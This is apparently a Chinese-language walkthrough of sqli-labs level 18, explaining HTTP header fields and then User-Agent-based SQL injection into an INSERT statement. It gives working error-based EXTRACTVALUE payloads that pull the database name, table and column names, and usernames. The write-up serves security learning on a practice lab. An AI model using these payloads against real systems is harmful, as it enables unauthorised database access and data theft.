目录
5. 现在想的是如何利用mysql插入语句insert实现注入。
前期知识储备
从18关开始考察的是头部注入(Header Injection - Uagent field - Error based),这里简述头部注入的点。
- HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
- X-Forwarded-For:简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的
来源IP
追加在X-Forwarded-For
中。 - Cookie,有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
- X-Real-IP一般只记录真实发出请求的客户端IP。
- Accept Language请求头允许客户端声明它可以理解的自然语言,以及优先选择的区域方言。
- User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
- Accept代表客户端希望接受的数据类型,数据类型中的先后次序表示客户端接受的先后次序。
- Referer表示一个来源,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从那个页面链接过来的,服务器借此可以获得一些信息用于处理。Referer用于所有类型的请求。
提示:以下是本篇文章正文内容,下面案例可供参考
一、初始思路
1.思路
在第一次接触18关的时候有点懵,感觉一切都很熟悉但是又不是那么的熟悉。当我随意输入用户名和密码看到它可以显示我的ip和user agent信息。那就能够证明它读取了我的user agent。尝试对useragent下手。
2.user agent后加入',发现出现sql错误日志。
3.我尝试了之前用的各种闭合方法,都已失败告终。
' #
" #
'" #
')
")
'))
"))
'")
'"))
4.新的问题。
我当时直观感受就是之前用到的sql语句和现在不一样了,十多关的靶场还没有过滤规则,完全没办法直接看源码。
5. 现在想的是如何利用mysql插入语句insert实现注入。
1. 将源码中的语句直接复制到navicat中,我们只换值运行语句,观察结果。
2.从上边发现我们注入的语句值被当作插入值中的第一个值被执行。那就先闭合引号看看会产生什么样的结果。
3.直接报错,根据错误提可能是123被当作字符优先匹配他周围的引号为一组,结果就剩下前后两个未被闭合的单引号导致出错。证明如下图:
这张图证明我们的思路是正确的
4.那么我们把中间的字符删掉看看会发生什么,结果如下图:
语句执行成功,空字符串被成功写入。
5.那么能够利用的点肯定在这个空白区域,我试过用 and updatexml()和and extractvalue() 都已失败告终。看了看大神的文章我才知道这里需要用到两个and或者两个or。
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' and 1=1 and '', '456',789 )
没问题可以执行,那么把需要的语句放进去试试。
6.赶紧抓包试一试。。。。。。。。
User-Agent: 'and EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e)) and'
一切都熟悉了爆表名
User-Agent: 'and EXTRACTVALUE(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)) and'
列名
User-Agent: 'and EXTRACTVALUE(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e)) and'
数据
User-Agent: 'and EXTRACTVALUE(1,concat(0x7e,(select username from users limit 1,1),0x7e)) and'